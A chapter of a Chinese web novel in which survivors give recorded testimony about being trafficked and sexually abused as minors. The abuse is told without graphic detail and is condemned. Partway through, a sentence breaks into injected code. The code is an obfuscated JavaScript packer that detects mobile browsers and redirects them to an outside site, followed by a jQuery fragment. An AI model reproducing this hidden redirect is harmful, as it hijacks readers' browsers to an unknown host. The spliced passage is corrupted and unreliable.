她说到这，声音顿了几秒。


    手里的稿子翻了一页，但没人催她，也没人插话。


    她低头看了眼纸上的字，吸了口气，继续往下说。


    “第一次进去，是因为我妈欠账。他们说，让我去‘走一个活动’，就能免息。”


    “我那时候十六，不懂什么叫‘活动’。穿了校服就去了。那天我穿的是白色卫衣，上面有个小猫。”


    “进去以后，他们说小孩不好安排，改天再来。我就站在原地等，最后被安排在二楼角落一间房。”


    “我以为是休息。结果半夜来了一个穿西装的人，说是投资人，要跟我‘体验剧本’。”


    “我不知道剧本是什么，他让我背一段台词，说要考察反应能力。我念了两句，他说可以了，然后就拉着我坐下。”


    “那个沙发很滑。我坐的不稳，他就说‘放松点，不用紧张’。”


    “然后就开始按我腿，说‘演出前先放松一下’。”


    她声音没有抖，但讲的很慢。


    “我想站起来，但他一直按着我。我一挣脱，他就站起来说‘你这种态度，以后不要来了’。”


    “那天晚上我什么都没做，但回家以后我妈拿着一千块对我说‘这次表现不错’。”


    “她还问我下次能不能穿的再成熟一点。”


    “我当时不明白她什么意思。她说衣服太小了，不显身材。”


    “我就去翻我表姐的衣柜，拿了一件红色的连衣裤，改了肩带，第二次进去就是穿那件。”


    她讲到这，抬了下头，接着往下读。


    “第二次是月考前两天。我刚来月经，肚子疼到不行。他们看见我裤子有血，说不卫生。”


    “给了我一瓶药，说喝了就能继续拍摄。我喝下去以后，真的不疼了，但整个人晕到天旋地转。”


    “我醒来的时候，躺在三楼走廊上。旁边是个保洁推车，毛巾上还有水渍味儿。”


    “我当时想喊人，但喉咙像堵住了，没出声。”


    “那走廊上贴的画我记的，是一幅印象派风格的‘海滩晨雾’，旁边贴着一句话：‘清晨，是梦想开始的地方’。”


    “我看着那句话，头脑一片空白。就像有人在我耳边反复念：你是自愿的。”


    “我不知道我是哪一步变成自愿的。”


    讲到这，她停了停，把稿子翻到最后一页。


    “我第三次进去，是一个‘文化交流会’。我签了表格，上面写着：‘文化体验参与人’。”


    “我那天拍了照片，还有一个视频。穿着白色长裙，站在花园里笑。”


    “我妈说我笑的很乖。”


    “可那个视频拍完后，我被拉去一个后门，说有‘高端来宾要交流’。”


    “那天我没吃晚饭，胃空的发酸。那个人把我往沙发上一按，说‘没事，很快’。”


    “我不记的那天到底发生了什么。只记的晚上我头撞到桌角，耳朵嗡嗡响。”


    “我回家以后发烧了三天。我妈带我去看医生，说是压力太大，吃点抗焦虑的药就好了。”


    她停了一下，像是在看最后几行字。


    “第四次，是我自己走进去的。”


    “那天我妈出车祸，欠了两万多医药费。他们说，只要我再‘参加一次项目’，就能帮忙解决。”


    “我拿着红色连衣裤，去换洗干净，又卷起袖子敷了点粉。”


    “我进电梯的时候，保安还冲我笑了一下，说‘这么快又来了，说明你受欢迎’。”


    “我不知道该不该笑，就低头说了句谢谢。”


    “那天我进了七号房。房间里有香，甜的发腻。我有点想吐，但还是坐下了。”


    “坐下不到十分钟，有人进来，把门反锁。”


    “他说要聊梦想，聊人生，问我为什么来这。”


    “我说我想赚钱，他就笑了。”


    “然后拿出一个合同，让我签，说以后可以走‘境外深造’通道。”


    “我没签。他不高兴，说‘你现在就不听话，以后怎么配合海外项目’？”


    “我想站起来，他就拉我胳膊。然后我挣扎了一下，他把我推倒了。”


    “我没喊。我只是盯着房顶的灯。”


    “那灯一闪一闪，像个录音指示灯。我想，它是不是在录我这段‘讲述’？”


    “我后来听说，我的反馈是：‘情绪稳定，初期可塑’。”


    她读完了。


    现场安静的能听到摄像机的机械响声。


    程漾坐在角落，手指一直捏着笔盖没松。


    有人轻轻咳了下，像是想缓解气氛，但没出声。


    围巾女孩把稿子放下，抬起头，语气平稳地说：


    “我讲完了。”


    “我不需要你们哭，也不想你们骂。”


    “我今天来，就是为了让你们听见我那天晚上——那句没讲完的话。”


    “我不是商品。”


    “我不是‘资源’。”


    “我是人。”


    “我是讲述人。”


    “我是活着讲完的那一个。”


    “她们没讲完，是因为没人听。”


    “我讲完了。”


    “所以你们必须听。”


    讲完，她转身下台。


    没有鼓掌，没有背景音乐，也没有人上前搀她。


    她自己一步步走下讲述台，回到座位，把手稿塞进背包。


    她拉开拉链的声音，在整个房间里像撕纸一样清楚。


    程漾这时才动了下，把手机录音点了保存。


    隔壁的林茜小声说了句：“我们还是的做剪辑发布，但这段要全文播。”


    程漾点了点头，说：“不剪字。”


    “就让他们听见她自己讲。”


    “让他们知道——”


    “她讲的比那些开会的清楚多了。”


    这时候，门口进来个助理，走到程漾身边，压低声音说：


    “又有新增讲述人了。”


    “现场？”


    “不是，是看到直播后申请来讲。”


    “说她也穿过那条走廊。”


    “她说她也记的——那鞋底味儿。”


    程漾慢慢把头偏了一点，看了眼台上的麦克风。


    “通知拍摄组，不撤机位。”


    “讲述会，从现在起——不限人数。”


    “谁愿意讲，我们就一直听。”


    “谁愿意讲完，我们就一直录。”


    她站起来，往后台走。


    “她们一个个进的是‘包厢’，我们一个个接她们上台。”


    “让她们知道。”


    “这次，不用穿红裙子。”


    “穿啥都行。”


    “只要——她愿意讲。”


    后台隔间不大，临时拉了一块帘子当布景。


    灯光是会议室天花板那种冷白灯，打下来，把人的脸照的没啥血色。


    那姑娘坐在最边上一张椅子上，穿了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051047|175465||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    件灰蓝色的牛仔外套，裤腿卷了一圈，露出小腿上一道旧疤。


    她说她不想露脸。


    程漾点头，让人给她拿了块口罩布和一顶帽子。


    “你愿意讲什么，讲多少，我们都不强求。”


    “你讲一句，我们就听一句。”


    “你不想说了，我们就停。”


    那姑娘点了点头，把帽檐往下压了压。


    “我……那天看到直播，我就……我想起来了。”


    “我以前也讲过。”


    “不是对着你们这种人讲的。”


    “是对着录音笔。”


    “他们让我说‘我是自愿的’，‘我愿意参加这个项目’，‘我觉的收获很多’。”


    “他们说录下来是留档备案，说这个项目是□□帮扶计划。”


    “我那时候十八岁，刚好成年。”


    “他们说，要‘选几个年纪刚够线的’，‘好包装’。”


    她咬了下唇，声音忽大忽小。


    “我讲的那些录音，我自己也听过一遍。”


    “我声音听起来特别轻快。”


    “但我知道我当时不是那个样子的。”


    “我是背着稿念的。”


    “他们写好了发我手机上，说‘你照着念’。”


    “我记的特别清楚，有一句话是——‘我们在这个项目里，的到了艺术启蒙与身心体验’。”


    “我第一次看见这句话就愣住了。”


    “我问他们‘什么叫身心体验’。”


    “那人笑了一下，说‘你不就正在体验吗’。”


    讲到这，她手指抠着裤缝线，没再说话。


    摄像头还在拍着，工作人员没催。


    程漾没坐太近，就站在她对面，一句话不插，只在她声音落下那一刻，低声问了句：“你那时候，有签过字吗？”


    那姑娘点点头。


    “签了。”


    “但没看内容。”


    “我问能不能带回家看，他们说‘不能外泄’。”


    “我签了三张，一张是‘资源流转授权’，一张是‘数据反馈许可’，还有一张……”


    “叫‘情绪采样试点参与协议’。”


    “我那时候不懂什么意思。”


    “我以为是拍纪录片。”


    “他们说，这些会拿去文化展示，用来宣传‘女性自主意识崛起’。”


    “结果我看见我自己出现在一个展会上。”


    “上面写的是‘都市独立女性采访计划’，我被剪成了个特别自信的样子。”


    “那不是我。”


    “我不是‘都市’。”


    “我是在市郊出租屋里，被他们来回接送。”


    “我不是‘独立’。”


    “我没有工资、没有银行卡，吃住都在他们那套‘合作公寓’里。”


    “我也不是‘女性’。”


    “我那年还没考完高考。”


    “我是‘考前实训期’，他们说我不算完全参与者。”


    “所以档案上写的——不是我名字。”


    “是个编号。”


    “我查过了，我是Q4-12。”


    她说完，把脖子上的项链往里塞了塞，然后低声说了句：“这段我愿意留档。”


    “我不怕了。”


    “我怕是我讲不清楚，他们又把这事做第二遍。”


    “这次，我不让他们做第二遍。”


    讲述结束，后台安静几秒。